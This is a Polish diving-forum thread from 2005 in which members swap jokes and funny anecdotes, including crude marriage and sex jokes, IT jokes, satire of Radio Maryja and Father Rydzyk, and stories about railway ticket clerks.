Droga koleżanko z przyjemnością wezmę od ciebie darmowe lekcje wychowania i szaczunki a potem powiem dziękuje, przepraszam i tego typu slogany.
Warunek!!! zapraszam cię do siebie, poznasz uroki miasta, nocnego życia, i dowcipy :))
A ostrzeżenie, czy ty wiesz ile razy już ich miałem i żyję nadal z poczuciem humoru oraz w świetnej kondycji:))

[ Dodano: 24-11-2005, 14:51 ]
a propo zabawy, dowcipów i nocnego zycia. Zapraszam wszystkich włącznie z tobą Maniu na zakonczeńie sezonu nurkowego w naszej siedzibie. Imprezka szykuje sie na 102 :)) (jak co roku) do białego rana. Niestety nie jest darmowa:(( koszt około 50zł w tym wyżerka, morze wody ognistej. Mania na darowy wstęp za ochronę cnót i dobrych obyczajów:))

tsharny - 24-11-2005, 15:55

Matka przyprowadziła swoją osiemnastoletnią córkę do lekarza,
informując go, ze córka nieustannie cierpi na mdłości.
Lekarz po zbadaniu córki stwierdził, ze jest ona mniej więcej w
czwartym miesiącu ciąży.
- Co też pan mówi, panie doktorze, moja córka nigdy nie miała do
czynienia z żadnym mężczyzną ! Prawda, córeczko?
- Prawda, nawet się nigdy nie całowałam - zapewniła córeczka.
Lekarz bez słowa podszedł do okna i zaczął się intensywnie wypatrywać
w dal.
- Panie doktorze, czy coś nie tak?- pyta po pięciu minutach
zaniepokojona mamuśka.
- Nie, nie! Po prostu w takich wypadkach zazwyczaj na wschodzie
ukazuje się jasna gwiazda i przybywa trzech króli. I za nic k...a nie chcę
tego przegapić.

pozdrawiam
tsharny

Te_Pe - 24-11-2005, 17:50

woodnik napisał/a:

a propo zabawy, dowcipów i nocnego zycia. Zapraszam wszystkich włącznie z tobą Maniu na zakonczeńie sezonu nurkowego w naszej siedzibie. Imprezka szykuje sie na 102 :)) (jak co roku) do białego rana. Niestety nie jest darmowa:(( koszt około 50zł w tym wyżerka, morze wody ognistej. Mania na darowy wstęp za ochronę cnót i dobrych obyczajów:))



Tylko nie tu.... !

Po takiej imprezie to może być prawdą zdanie Ostrożnie mijaj Kalisz ;-)

Efraim Ryba - 26-11-2005, 09:55

Lekki surrealizm:

Siedzą sobie trzy owoce. Nagle pierwsze mówi wierszem:
- Jestem kiwi co każdego ożywi.
Na to drugie odpowiada w tym samym stylu:
- A ja jestem cytryna, lubi mnie cała rodzina.
A trzecie, zasmucone:
- Jestem marakuja, nie wiem co mam powiedzieć...

A drugi, w nieco podobnym duchu, zaczerpnięty z nieocenionych Funiastych:
W lodówce na półce dziesięć kurzych jaj w rzędzie.
Pierwsze trąca łokciem drugie:
- Nie podoba mi się to dziesiąte! Całkowity brak kultury, punk jakiś! U mnie ma przerąbane! Powiedz temu palantowi, że my tu wszyscy jedna drużyna!
Drugie do trzeciego:
- Słuchaj, pierwsze kazało przekazać, że dziesiąte nie pasuje do naszej drużyny. Jeden za wszystkich, wszyscy za jednego!
Trzecie - czwartemu, czwarte - piątemu, piąte - szóstemu, szóste - siódmemu, siódme - ósmemu, wszystkie już wzburzone.
Ósme - dziewiątemu:
- Kolego, przekaż temu palantowi, że wszyscy powinniśmy być razem!
Dziewiąte trąca łokciem dziesiąte:
- Wiesz, miły... Nie pasujesz do naszego kolektywu. W nas jest duch współpracy, taki "Building Team" można powiedzieć... Jesteśmy jedną rodziną,
współpracujemy ze sobą, powinniśmy trzymać się razem... A Ty z tą swoją niepotrzebnie wyróżniającą się fizjonomią...
Dziesiąty:
Ile można! Powtarzam już setny raz! Ile można! Jestem KIWI, KIWI JA JESTEM KIWIIIII

A swoj drogą, kto trzyma kiwi w lodówczanej przegródce na jajka???

stefan-stefan - 28-11-2005, 09:19

Rzecz dzieje się w okolicach Nowego Targu i góralskim Chicago.
Rodzina góralska decyduje się na stałe powrócić z emigracji do Polski. Ponieważ żonka jest w ciąży postanawiają, że mąż wróci wcześniej i wszystko przygotuje, a dzieciak urodzi się w Jackowie żeby miał obywatelstwo wielkiego imperialisty. I tak się też stało, ale jakież było zdziwienie ojca jak zobaczył, że synek ma skórę koloru hebanu. Cała sprawa była o tyle nieprzyjemna, że w barze we wsi wszystkie chłopy się z niego śmiały.
Któregoś dnia nie wytrzymał i poszedł do matki i mówi - mamo, moja baba mi mówi, że młody dla tego czarniawy, że jak się urodził to nie miała mleka i wzięła czarną mamkę. I tak sczerniał od tego mleka.
Na co matka rzecze - wiesz synku to możliwe, bo jak ty byłeś malutki to po urodzeniu też nie miałam mleka i dokarmiałam cię mlekiem kozy, a teraz jesteś głupi jak cap!

tsharny - 28-11-2005, 14:16

Wpada mąż do domu i od progu krzyczy:
- Stara wygrałem w totka!
Żona siedzi przy stole i szlocha
- Co płaczesz kobieto?! Wygrałem milion w totka
- Mama umarła! - krzyczy małżonka
- O ja pier... , KUMULACJA!

Kobieta w kwiecie wieku staje przed lustrem i mówi do męża.
- Ech...przybyło mi zmarszczek, utyłam,te włosy takie jakieś
nijakie...Zbrzydłam.Powiedz mi ,kochanie, coś miłego.
- Wzrok masz dalej dobry!

Kowalska do swego męża:
- Ci nasi sąsiedzi to bardzo mili ludzie. On codziennie wychodzącdo
pracy całuje ją czule. Dlaczego ty tego nie robisz?
- Muszę się z nią najpierw zapoznać...

Dwóch przyjaciół wraca późnym wieczorem z pokera. Jeden skarży się
drugiemu.
- Wiesz, nigdy nie mogę oszukać żony. Gaszę silnik samochodu i
wtaczam go do garażu, zdejmuję buty, skradam się na piętro, przebieram
się w łazience. Ale ona zawsze się budzi wydziera na mnie, że tak późno wracam.
- Masz złą technikę. Ja wjeżdżam na pełnym gazie do garażu, trzaskam
drzwiami, tupię nogami, wpadam do pokoju, klepię ją w tyłek i
mówię: "Co powiesz na numerek?". Zawsze udaje, że śpi...

Zebrał wódz indiański "Siedzący Pies" całe swoje plemię na naradę
wojenną:
- Czerwonoskórzy! Jesteśmy wielkim narodem?
- Taaaaak!
- To dlaczego nie mamy własnej rakiety z ładunkiem nuklearnym?
- Taaaa... Zbudujemy? Huurraaa!!!
Ścięli tomahawkami największą sekwoję w okolicy, wydrążyli ją w
trudzie i znoju, według starej, indiańskiej recepty wyprodukowali
proch, napchali do wydrążonego pnia, zapletli linę z lian i jako lont
wyprowadzili na zewnątrz rakiety.
- Gdzie ją wystrzelimy?
- Na Erewań!
- A dlaczego na Erewań?
- Innych miast nie znamy...
Napisali na rakiecie "Na Erewań", zbili się w gromadę i podpalili
lont.
Jak nie pierd***ęło!!!
Prawdziwy Armagedon! Dym, swąd, wszystkich rozrzuciło w promieniu
kilkunastu metrów... Wódz bez nogi, bez ręki otrzepuje się z kurzu i
mówi: - Ja pierd*lę!!! Wyobrażacie sobie, co się dzieje w Erewaniu???

pozdrawiam
tsharny

KLeszek - 29-11-2005, 18:36

Wigilijny poranek. Żona budzi Stefana o 7.00.
- Stefen, no Stefan, nie mam masła. Słyszysz?
- A co ja na to poradzę.
- Ubieraj się i idź do sklepu.
- Ale ja nie wiem gdzie jest w sklepie masło. - Wejdziesz, naprzeciwko kasy są lodówki, w pierwszej jest mleko, a w drugiej masło, idź..
Stefan wstał, ubrał się poszedł do sklepu. Przeszedł obok kas, podszedł do lodówki, wyjął masło i poszedł zapłacić..
Na kasie stała zajebista laseczka. Stefan trochę z nią pogadał, pożartował, a laska niespodziewanie zaproponowała aby poszli do niej. Poszli i troszkę potentegowali.
Po upojnym popołudniu Stefan budzi się i widzi że jest przed 20.00. Wyskakuje z łóżka i mówi do laski
- Masz mąkę?
- Mam.
- To przynieś szybko i posyp mi ręcę.
Laska zdziwiona przynoszi mąkę i posypuje ręce Stefana po czym on wybiega z domu
W domu Stefanowi drzwi otwiera żona.
- Stefan gdzieś ty był, rodzina się zjechała, zjedliśmy kolację bez masła.
- Gdzie byłeś?
- Skarbie, jestem ci winny wyjaśnienie. Otóż poszedłem do sklepu, z lodówki wyjąłem masło i poszedłem zapłacić. Na kasie stała zajebista laseczka, trochę z nią pogadałem, pożartowałem, a ona mnie zaprosiła do siebie a u niej trochę zabradziażyliśmy Obudziłem się i szybko przyjechałem do domu.
Zona wysłuchała wszystkiego spokojnie i ze zniecierpliwieniem w głosie powiedziała:
- Pokaż ręce.
Stefan pokazał obsypane w mące ręce, na co żona:
-!@#$%^, Stefan, znowu byłeś na kręglach

adrian - 29-11-2005, 20:38

Zaslyszane:
Policja wizytujaca fabryke broni, zrobila konkurs strzelecki pomiedzy robotnikami fabryki a policja. Jak to jest z wyszkoleniem policji w Polsce?? Otoz wygrala oczywiscie fabryka tzn spoldzielnia inwalidow...

tsharny - 30-11-2005, 15:41

Późna noc, całe miasto śpi. Do mieszkania w bloku dzwoni domofon, raz,
drugi, w koncu zaspany facet podchodzi i mowi:
- Czego?!
- Przepraszam czy mogłby pan mi pomóc i mnie popchnąć?
- Panie jest 3 w nocy, niech pan zadzwoni po pomoc drogową!
- Bardzo pana proszę, niech mnie pan popchnie, to niedaleko...
Żona faceta mówi:
- Idź pomóż człowiekowi.
Facet rad nie rad schodzi na dół. Ciemna noc a w dodatku mgła nic nie
widać,gościa nie ma, więc facet woła:
- Halo! Gdzie pan jest?
- Tutaj - słychać z oddali, więc facet idzie za głosem, ale nadal nie Widać
ani gościa ani auta, więc znowu:
- No, gdzie pan jest?!?!
- Tutaj...
Facet idzie parę kroków i nic. W konu zniecierpliwiony:
- Niech pan powie dokładnie gdzie jest!
- W parku, na huśtawkach...

pozdrawiam
tsharny

Kuba - 02-12-2005, 12:43

Żona wysyła męża do sklepu:
- Kup parówki, jak będą jajka to kup 10.
Mąż w sklepie:
- Są jajka?
- Tak.
- To poproszę 10 parówek.

wrobel.cwirek - 02-12-2005, 15:04

Kuba napisał/a:
Żona wysyła męża


INFORMATYKA!!!!

Majkula - 02-12-2005, 20:06

Ja znam ten dowcip w wersji o księgowych :)
KLeszek - 02-12-2005, 22:08

Jak zająć programistę.

1. Przeczytaj instrukcję poniżej.
2. Przeczytaj instrukcję powyżej.

Andre - 03-12-2005, 00:18

Dziesięć dowodów na to, że komputer jest kobietą

1. Gdy tylko go masz, widzisz zaraz 100 lepszych i ... szybszych oraz łatwiejszych w obsłudze.
2. Każdy Twój najmniejszy błąd będzie Ci na wieczność zapamiętany.
3. Cały czas wydajesz na niego kasę... a co masz w zamian ? Trochę przyjemności od czasu do czasu i same zmartwienia przez resztę życia.
4. Nikt nie pojmuje do końca logiki, wedle jakiej postępuje. No może poza innymi komputerami.
5. Ma genialny talent do komplikowania rzeczy prostych do rangi nierozwiązywalnego problemu... a wtedy wzywa Cię na pomoc lub poddaje się.
6. Niby Cię słucha... ale tylko wtedy, gdy postępujesz ściśle wedle narzuconych przez niego reguł.
7. Niby toto rozumne... ale to tylko pozory.
8. Czasem, gdy dotykasz go w niektóre klawisze, piszczy... (a czasem nie)
9. Gdy jest obok ciebie, noc nie służy do spania...
10. Jak go nie trzaśniesz, to się nie wyłączy.

martin - 04-12-2005, 19:00

zblizaja sie swieta
Te_Pe - 05-12-2005, 11:38
Temat postu: Re: dowcipy, nie nurkowe
Do celi wchodzi nowy więzień.
Współwięzień pyta:
- Słuchaj, ile dostałeś?
- Piętnaście lat. Za pomoc medyczną.
- Jak to za pomoc medyczną?
- Teściowa miała krwotok z nosa, a ja jej założyłem opaskę uciskową na szyję.

maczaty - 05-12-2005, 15:45

Kowalscy postanowili pójść do opery. Kiedyś w końcu trzeba... Ubrali się odświętnie w garnitur i niedzielną garsonkę, ustawili się po bilety w kolejce pod kasą. Przed nimi gość zamawia: - "Tristan i Izolda". Dwa poproszę...
Kowalski jest następny: - Zygmunt i Regina. Dla nas też dwa.

:22:

Andre - 06-12-2005, 00:38

Czy patrzysz swojemu mężowi w oczy podczas stosunku ?
- Hmmmm...... Raz spojrzałam..... Stał w drzwiach.

tsharny - 06-12-2005, 12:40

T. Blair i G. Bush omawiają plany III wojny światowej. Podchodzi
dziennikarz i pyta ich, co ustalili. Tony:
- Zabijemy 20 milionów islamistów i jednego dentystę.
- A czemu dentystę? - pyta dziennikarz.
Tony:
- Widzisz Georg, mówiłem ci, że nikt nie zapyta o te 20 milionów.

Po skończonym rozdaniu jeden brydżysta krzyczy na drugiego:
- Ty idioto!!! Czemu wyszedłeś w kiera?!
- Przecież pokazywałeś mi serce!
- A jak, cholera, robi serce??? Pik, pik!!!

W ZOO przed klatką z małpami synek pyta się mamy:
- Mamusiu, dlaczego w tej klatce zamknęli informatyków?
- Jak to informatyków? - pyta mama.
- No takich, jak nasz tatuś - nieogolone, brudne i mają odparzenia na
dupie.

Siedzi Mietek u Janka i sobie popijają. Nagle Mietek mówi do Janka:
- U ciebie na ścianie wisi metalowa miska?
- Nie, to zegar z kukułką.
- Zegar z kukułką? Jak to?
- Sam zobacz.
Janek wziął pustą flaszkę po wódce, zamachnął się i rzucił w miskę, a tu
głos zza ściany:
- Cicho tam! Jest 4 rano!

W poczekalni do Świętego Piotra siedzi dwóch facetów. Jeden pyta:
- Jak umarłeś?
- Zamarzłem. Wiesz, niska temperatura i organizm nie wytrzymał. A ty?
- Ja umarłem z zaskoczenia.
- Jak to z zaskoczenia?
- Po prostu! Przyszedłem do domu, a żona naga w łóżku. Zacząłem szukać
kochanka. Szukałem wszędzie, pod szafą, za łóżkiem, w łazience, no po
prostu wszędzie! Nie znalazłem go i ze zdziwienia serce mi wysiadło.
- Szkoda, że nie zajrzałeś do lodówki, wtedy obaj byśmy żyli.

Kowalski pracuje w kostnicy i przygotowuje pana Rysia do pogrzebu.
Odkrywa jego cialo i widzi niesamowicie duzego czlonka. Odcina go,aby
pokazac zonie ten ewenement. Chowa go do teczki i przynosi do domu.
- Kochanie, patrz, co odkrylem!
Zona na to:
- O Boze, Rysiek nie zyje!

pozdrawiam
tsharny

[ Dodano: 06-12-2005, 13:25 ]
Rozmawiaja dwie przyjaciolki:
- Sluchaj, jaki seks mialam wczoraj, normalnie bajka - przelecialmnie
zgodnie z wszystkimi regulami sztuki. Mowie ci, marzenie!
- A kto to byl, jesli to nie tajemnica?
- No wlasnie tego nie moge powiedziec nikomu, tym bardziej jegozonie!

- Czy film, w ktorym glowny bohater ginie moze konczyc sie happyend'em?
- Moze, jesli glownym bohaterem byla tesciowa.

Badania wykazaly, ze 40% mezczyzn mialo pierwszy kontakt seksualnypod
prysznicem. Pozostalych 60% w wojsku nie sluzylo.

Pewna gazeta oglosila konkurs z nastepujacym pytaniem dla panow:
"Siedzisz w eleganckiej restauracji z bardzo piekna kobieta. Maszpilna
potrzebe wyjscia do toalety (na "sikundke"), w jaki sposobpowiesz o tym
towarzyszce w najbardziej kulturalny sposob?"
Wygrala odpowiedz:
"Bardzo pania przepraszam, ale musze wyjsc na chwile, by
pomocprzyjacielowi, z ktorym zapoznam Pania nieco pozniej"

Wchodzi chlopak do zenskiego akademika:
- A ty do kogo mlody czlowieku - pyta portierka.
- A kogo by mi pani polecila?

Trwa egzamin na studia prawnicze. Przewodniczacy komisjiegzaminacyjnej
zadaje pierwsze pytanie kandydatowi:
- Dlaczego chce pan zostac prawnikiem?
- Tato, nie wyglupiaj się...

pozdrawiam
tsharny

Te_Pe - 07-12-2005, 09:14
Temat postu: Re: dowcipy, nie nurkowe
Przychodzi mały Jasiu do apteki i mówi do aptekarza:
- Proszę mi dać coś do zapobiegania ciąży!
Aptekarz się zdenerwował i reprymenduje Jasia:
- Po pierwsze, to o takim czymś mówi się szeptem, a nie na cały głos
- Po drugie - to nie jest dla dzieci,
- Po trzecie - niech ojciec sobie sam przyjdzie,
- Po czwarte - są tego różne rozmiary .
Jasiu tez się w tym momencie wkurzył, więc mówi:
- Po pierwsze - w przedszkolu uczyli mnie, żeby mówić głośno i wyraźnie,
- Po drugie - to nie jest "nie dla dzieci", tylko przeciwko dzieciom,
- Po trzecie - to nie dla ojca, tylko dla mamy,
- Po czwarte - mama jedzie do sanatorium i potrzebuje wszystkie rozmiary.

tsharny - 07-12-2005, 14:15

W pewnej mieścinie był piekarz, który piekl pieczywo nie nadające się
W ogóle do jedzenia. W sekrecie przed nim zebrali się mieszkańcy i
postanowili uradzić co z nim zrobić... Radzą tak kilka godzin i nic
nie mogą wymyślić...
W pewnym momencie wstaje kowal, chłop wielki i barczysty jak wół i mówi :
- Może mu jeb.. ?!
Na co ludzie mówią:
- Nie no... tak nie można... w końcu mamy tylko jednego piekarza,
nie możemy zostać tak w ogóle bez... i dalej debatują...
Za jakiś czas znowu wstaje kowal i mówi:
- To może jeb.. stolarzowi...? mamy dwóch...

pozdrawiam
tsharny

agrest - 08-12-2005, 14:51

Nie wiem czy juz nie bylo:

Do Urzędu Stanu Cywilnego przychodzi Indianin i mówi:
- Chciałbym zmienić swoje nazwisko...
- Jak się pan nazywa?
- Waleczny Orzeł Spadający z Nieba na Wrogów i Uderzający Ich Znienacka.
- A jak chce się pan nazywać?
- Jebudu !

DarekS - 08-12-2005, 20:40

I.
Gdy moherowy wkładam berecik,
Zaraz mi jaśniej słoneczko świeci.
Od razu troska i kłopot znika
I wszędzie widzę Ojca Rydzyka.

II.
Wczoraj kupiłem kolejny beret
Taki konkretny - już bez usterek.
Choć te poprzednie miały swe wdzięki
To brakowało im wciąż "antenki".

III.
Teraz odbieram fale radiowe,
Naszpikowaną mam ciągle głowę
Wiadomościami z Radia Maryja
I tak mi życie spokojnie mija.

I choć brakuje mi kasy do 1-go,
Choć w domu głodno i brak wszystkiego;
Dzieci buszują już po śmietnikach -
Włączam "radyjko" i troska znika !

V.
Ojciec dyrektor wyprał mą "dynię",
Ale mu wierzę, że z nim nie zginę.
Czekam na pensję jak na zbawienie
Żeby zapełnić jego kieszenie.

VI.
O Ty Narodzie, Ty polski Ludzie
Weź się otrząśnij - nie daj się złudzie,
Że Ojciec Rydzyk coś nam pomoże,
Wyleczy Polskę, rozświetli zorzę !

Tomek Radomski - 08-12-2005, 22:04

No patrzcie, Admin dał głos i do tego w tym dziale!!!
Kurde berecik przegrzał mu procka ;)

IRA - 09-12-2005, 01:10

Nowobogacki Rosjanin wyszedł z restauracji w Moskwie, strasznie drogiej
restauracji, tylko dla elit. Widać że nieźle się tam bawił, bo chwiejnym
krokiem, zataczając się co chwila, wszedł do stojącego na przystanku
trolejbusu.
- Na ulicę Rewolucji proszę. Dobrze zapłacę.
Kierowca, trolejbusu:
- Panie, to przedmieścia Moskwy, tam nie ma trakcji.
- Daję 10.000$.
- Dobra, jedziemy!
Widząc, że trakcja zaraz się skończy, kierowca zatrzymał się i
zaproponował kilku łebkom po 100$ za pchanie trolejbusa. Ci oczywiście
się zgodzili, jedzie więc dalej. Gdy są już blisko kierowca do
nowobogackiego:
- Jesteśmy już kilkadziesiąt metrów od celu, ale dalej nie możemy
jechać. Na środku drogi jest gigantyczna dziura.
- Nie ma problemu. Wiem o tym. Wczoraj do domu wracałem metrem.


Muhammed byl znanym ekspertem od dywanow. Jego przyjaciel poprosil go raz, aby mu wycenil starozytne dywany w jego sklepie. Za kazdy dywan bedzie fundowal Muhammedowi wodke. Muhammed dotyka pierwszego dywanu, zamyka oczy i mowi:
- Perski, XVI wiek, 4000 dolarow - po czym wypija wodke.
Dotyka drugiego dywanu:
- Syjamski, rzadki okaz, V wiek, 12000 dolarow...
Na drugi dzien budzi sie Muhammed w domu - caly poobijany, z podpuchnietym okiem i pyta zony:
- Kochanie, co sie wczoraj ze mna stalo?
Na to zona:
- To, ze wczoraj wrociles do domu pijany jak wieprz - w porzadku, to, ze zapaskudziles caly przedpokoj - w porzadku, to, ze zalatwiles sie do umywalki - jeszcze ok, ale kiedy sie kolo mnie polozyles, dotknales moich posladkow i wymamrotales "stara mata kokosowa, 5 centow" - to juz nie wytrzymalam!


Impreza w koszarach radzieckich - Sasza ma imieniny.
Chleją równo wszyscy a tu nagle wpada pułkownik. Wku***ony, gęba całą
czerwona i pyta:
- Który wcisnął guzik numer 216
Żołdacy naj**ani mówią że oni nie znaju.
- Pytam jeszcze raz!ktory ku**a wcisnął guzik 216
I znowu mówią że nie wiedzą, jeden podchodzi z musztardówką pełną spirytu
i mówi pułkownikowi żeby wypił, Sasza ma imieniny i wogóle.
Pułkownik waha się przez chwilę, ale w końcu macha ręką i mówi:
- A ch*j z Holandią

Niemieccy naukowcy, badający ruchy ziemi w Antarktyce, odkryli górę lodową, która pod ciśnieniem śpiewa. Po ogłoszeniu tych wyników Mandaryna spadła o kolejną pozycję w rankingu. Obecnie wyprzedza ją góra lodowa, pralka i gaźnik malucha.


Facet przychodzi do gazety zamówić ogłoszenie:
"Zaginął ukochany kotek mojej żony - czarny, białe skarpetki,
wesołe ślepka, figlarne usposobienie. Dla znalazcy nagroda 5000
złotych!"
- Czy to aby nie za dużo? - zdziwił się redaktor.
- Nie ma obawy, sam skur*iela utopiłem.

tsharny - 09-12-2005, 11:39

Jak doniosły wtyczki z zarządu TV-T z Torunia, z dniem 01.01.2006
uruchomiony zostanie nowy pakiet rozrywkowy w skład którego wchodzić będą
następujące programy:

TELETURNIEJE
"Różaniec z gwiazdami"
"Jaka to modlitwa?"
"Jeden z dwunastu"
"Szansa na odpust"
"Od Torunia do Opola"
"Intifada" lub "Diecezjada" lub > "> Parafiada> "> (jeszcze nie wybrano ostatecznego tytułu)
"Wielka Msza"
"Ananasy z mojej parafii"
"Miliard w Ambonie"
"Diecezja należy do ciebie!"
"Berety do mety"
"Jedno z dziesięciu przykazań"
"Najsłabsze ogniwo" - krótki poradnik z cyklu sam napraw swój różaniec
"Big Brother bitwa" - bonifratrzy vs. franciszkanie
"Śpiewające organy"
"O dwóch takich, co ukradli księżyc" - biograficzny
"Idź na całość" - czyli poradnik jak wypełnić przekaz pocztowy

TALK SHOW I REALITY SHOW

"Jestem jaki jestem" - reality show w domu o. Rydzyka "Prałat Ja****ski Show"
"Co za adwent!"
"Z wizytą u Was" - program kolędowy.
"Parafia zależy od Ciebie"
"Zakrystia - dokument jak powstaje msza"
"Ktokolwiek widział, ktokolwiek wie" - program Wielkiej Inkwizycji
"Miliard na tacy"

SERIALE

"Pensjonat pod Toruniem"
"Parafia na peryferiach" - serial
"Pierwsza Komunia" - Nowa seria wzorowana na "Pierwszej miłości"
"M jak modlitwa"
"Świat wg redemptorystów" - reż. Okił Khamidov
"Tata, a Ojciec Marcin powiedział... " serial edukacyjny dla rodziców
"Strażnik dekalogu" z Chuckiem Norrisem
"Sutannah" - serial obyczajowy
"Plebania" - a nie, przecież już jest...

PROGRAMY NOCNE

"Telesklep o. Łukasza"
"Liga Mistrzów - historia zakonu"
"Moherowe igraszki" - audiotele z nagrodami
"TRWAM - wkręca"
"Purpurowy kapturek" - bajka dla (starszych) dzieci
"Tygodnik Moherowego Spokoju"
"Czarny pijar" - nowy magazyn detektywistyczny
"Moherowa landrynka"

PROGRAMY HOBBYSTYCZNE

"Podróże kulinarne siostry Alfredy - pieczeń licheńska"
"Mo' Hair" - program o najnowszych, światowych trendach w nakryciach głowy i fryzurach
"Darz Bóg" - program łowiecki - odcinek o polowaniu na jelenie.
"1001 rzeczy które można zrobić z moheru" - drzwi balkonowe
"Samo szycie" - kurs robienia moherowego beretu
"Siostro, po prostu gotuj" - program kulinarny siostry Eutanazji..
"Katechetyczne podróże Ojca Rydzyka"
"Wacha do Maybacha" - magazyn moto

PONIEDZIAŁKOWE MEGAHITY

"Lord of the rings - The Bishop"
"Moherowa podszewka"
"Allo, allo, kto się do nas dodzwonił?"
Koncert zespołu "The Redemptorists" - gościnnie Zbigniew Wasserman na bongosach.

pozdrawiam
tsharny

agrest - 09-12-2005, 13:59

Ponoc autentyk z centralnego:



> > > >Miejsce akcji:Dworzec Centralny w Warszawie w kasach
> > > > MIEDZYNARODOWYCH..
> > > >
> > > > Bohaterowie: Kasjerki 1, 2; turystka i jej maz (oboje z
> > > >Ameryki), jakis
> > > > facet za nimi.
> > > >
> > > > Podchodzi turystka do kasy.
> > > >
> > > > - Hello, when does the next train to Moscow leave?
> > > >
> > > > - Kasjerka 1: - Slucham?
> > > >
> > > > - When does the next train to Moscow leave?
> > > >
> > > > - Prosze glosniej bo nie rozumiem.
> > > >
> > > > - Excuse me?
> > > >
> > > > - A, pani Angielka... Zoska, zawolaj Krysie, ona chyba zna
> > > >angielski..
> > > >
> > > > (przypominamy: kasa MIEDZYNARODOWA).
> > > >
> > > > - Zoska: - Nie ma Krysi, poszla na papierosa.
> > > >
> > > > - No to Baska, ona chyba po niemiecku zna...
> > > >
> > > > - Dzisiaj nie pracuje.
> > > >
> > > > - No to chodz tu sama, bo nie rozumiem co klientka chce...
> > > >
> > > > - Dobra, ide.
> > > >
> > > > Po chwili, Zoska: - Slucham?
> > > >
> > > > Turystka: - One ticket to Moscow, please.
> > > >
> > > > - Do Moskwy? Da, pozalujsta. A w kotoryj czas?
> > > >
> > > > - Excuse me?
> > > >
> > > > - Nu davajte, sleduszcij pojezd idet v vosiem czasov. Hotite
> > > > bilet pokupit?
> > > >
> > > > Turystka do meza: Oh my god. I don\'t understand her....
> > > >
> > > > Jakis facet za nimi: - Excuse me. Could I help you with
> > > > this?
> > > >
> > > > - Yes, please, thank you.
> > > >
> > > > Facet do kasjerki: - Przepraszam, o której najblizszy
> > > >pociag do Moskwy?
> > > >
> > > > - A pan co chcial? Kolejka jest!!!


Pozdr.
J.

ania1311 - 09-12-2005, 21:40

Sytuacja autentyczna- dworzec kolejowy Lodz Kaliska.
Pierwszy kontakt z personelem dworca INFORMACJA:
Ja: o ktorej godzinie odchodzi ekspres do Gorzowa WLK?
Pani zaczyna szukac po ksiazce, ktora na najnowsza nie wyglada, obok stoi wylaczony komputer
Informacja: Najblizszy za za dwie godziny.
Poniewaz wczesniej mielismy swietnie opracowana plan podrozy wiedzialam, ze pociag powinien byc za jakies 20 minut, wiec probuje pania jakos naprowadzic. Podaje stacje koncowa i godzine odjazdu interesujacego mnie pociagu.
I: aaa jest ..ale on odchodzi z Lodzi Kaliskiej
Przerazona, ze jestem na zlym dworcu (nie znam miasta) A gdzie my jestesmy?
I: W Lodzi Kaliskiej :roll:

Pozostajac w lekkim szoku jednak zadowoleni, ze udalo nam sie uzyskac informacje idziemy do kasy.
J: Ile kosztuje bilet pierwszej klasy na pociag do Gorzowa WLK?
K: OOOOO to bedzie drogo.
J: Drogo to znaczy ile?
K: To jest expres wiec bilet bedzie drogi...
Jeszcze pare takich inteligentnych tekstow i juz lekko obrazona pani kasjerka udzielila nam informacji.
J: Poprosze dwa bilety
Dziesiec minut walki z komputerem i udalo sie bilety wydrukowac, juz pojawil sie usmiech na mej twarzy, ze jest szansa zdazyc na ten pociag. Klade karte kredytowa na lade i w tym momencie pani kasjerka eksplodowala.
K: Zoska chodz tu sobie sama obsluguj.. bo nie dosc, ze biletu nie moglam wydrukowac to jeszcze karta chca zaplacic :roll:
No i przyszla Zoska.
Zoska przeciagnela karte przez czytnik.. i pojawilo sie przed nia ciezkie zadanie: autoryzacja karty, czyli przepisanie z karty czterech cyfr... nie udalo sie... Po kolejne probie Zoska zwatpila w swoje umiejetnosci i probowala anulowac transakcje. Krotka konsultacja z kolejna kolezanka: Kasiu ktory mam nacisnac? Czerwony? - Zwyciestwo!!!
My tez juz bylismy czerwoni i nerwowo spogladalismy na zegarek. Wymienilismy karte na debetowa i sie udalo!!!!!!!!!!!!!!!! Niestety uzyskanie papierka, ktory potwierdza anulowanie operacji na karcie kredytowej stalo sie niemozliwe. Zoska nie byla w stanie zrozumiec czego od niej chcemy, stanowczo twierdzila, ze nic nam nie da bo przeciez nacisnela na czerwone. Poddalismy sie :roll: Najwazniejsze: zdazylismy na pociag :-D

KLeszek - 12-12-2005, 11:10

Siedzi psychiatra na dyżurze - nudno, cicho, wariaci śpią chyba.... Nagle
otwierają się cicho drzwi i wpełza na kolanach człowieczek omotany w coś -
w zębach, na rękach, nogach i jeszcze parę metrów tego za sobą ciągnie....
Doktor zagaduje:
- O... żmijka mała do nas przyszła... Co żmijko, jak ci pomóc?
Człowieczek bulgocze coś i kiwa przecząco głową.
- To może żółwik jesteś? Co? Jesteś małym żółwikiem?
Człowieczek znów kręci głową...
- To może mały robaczek, co się właśnie wykluwa z kokonu?
W końcu człowiek wypluwa to co ma w zębach:
- Doktorze, idźcie do diabła z tym robaczkiem! Jestem waszym adminem, kable
zakładam...!

Efraim Ryba - 13-12-2005, 14:41

Złapał ukrainiec w stepie zająca i przyniósł go do domu. Snieg stepowy z butów otrzepał, tułup barani zdjął i w te słowa do żony prawi:
-Wasilisa, zrób że tego zajaca na maśle.
-Stiepan, ale masła nie ma.
-No to zrób go na smalcu
- Ale smalcu też nie ma
- No to zrób go bez niczego, po prostu na gazie - znalazł rozwiązanie mocno już poirytowany gospodarz.
- Stiopka, gazu też nie ma, już ze dwa lata będzie jak rury puste.
Na to gospodarz wściekł się i zająca przez otwarte drzwi w rozległy step cisnął. A ten jeszcze lecąc gromko wołał:
- Niech żyje Wolna Ukraina !!!!!

duch - 13-12-2005, 16:03

http://www.xs4all.nl/~lrvk/lejo/dj.html
Z dźwiękiem !!

I parę dowcipów, dowdupów lub dowustów jak kto woli :22:

Lekarz do pacjenta:
Bardzo mi przykro, jest pan nosicielem wirusa HIV...
Facet totalnie zalamany mówi:
Co za czasy, wlasnemu dziecku nie mozna zaufac.
--------------------------------
Je babka z dziadkiem obiad i w pewnej chwili dziadek ryp babkę w łeb. Babka
na to:
- Stary za co?!
- A bo jak se przypomnę, żeś ty cnoty nie miała!
--------------------------------
Idzie tatus z synkiem po ulicy i nagle kolo nich przechodzi piekna
dziewczyna
- Ale dupa ! - wyrwalo sie tatusiowi
- Co powiedziales tatusiu - pyta synek
- Hmmm ja ... no ... Tukan ! - powiedzialem tukan !
- A co to jest tukan tatusu ?
- Tutan to jest taki ptaszek synku
- A jak wyglada tukan ?
- Tukan to jest taki ptak z duzym zoltym dziobem
- Tatusiu, a tukany moga miec dzieci ?
- Tak synku
- I one sie beda nazywaly tez tukany ?
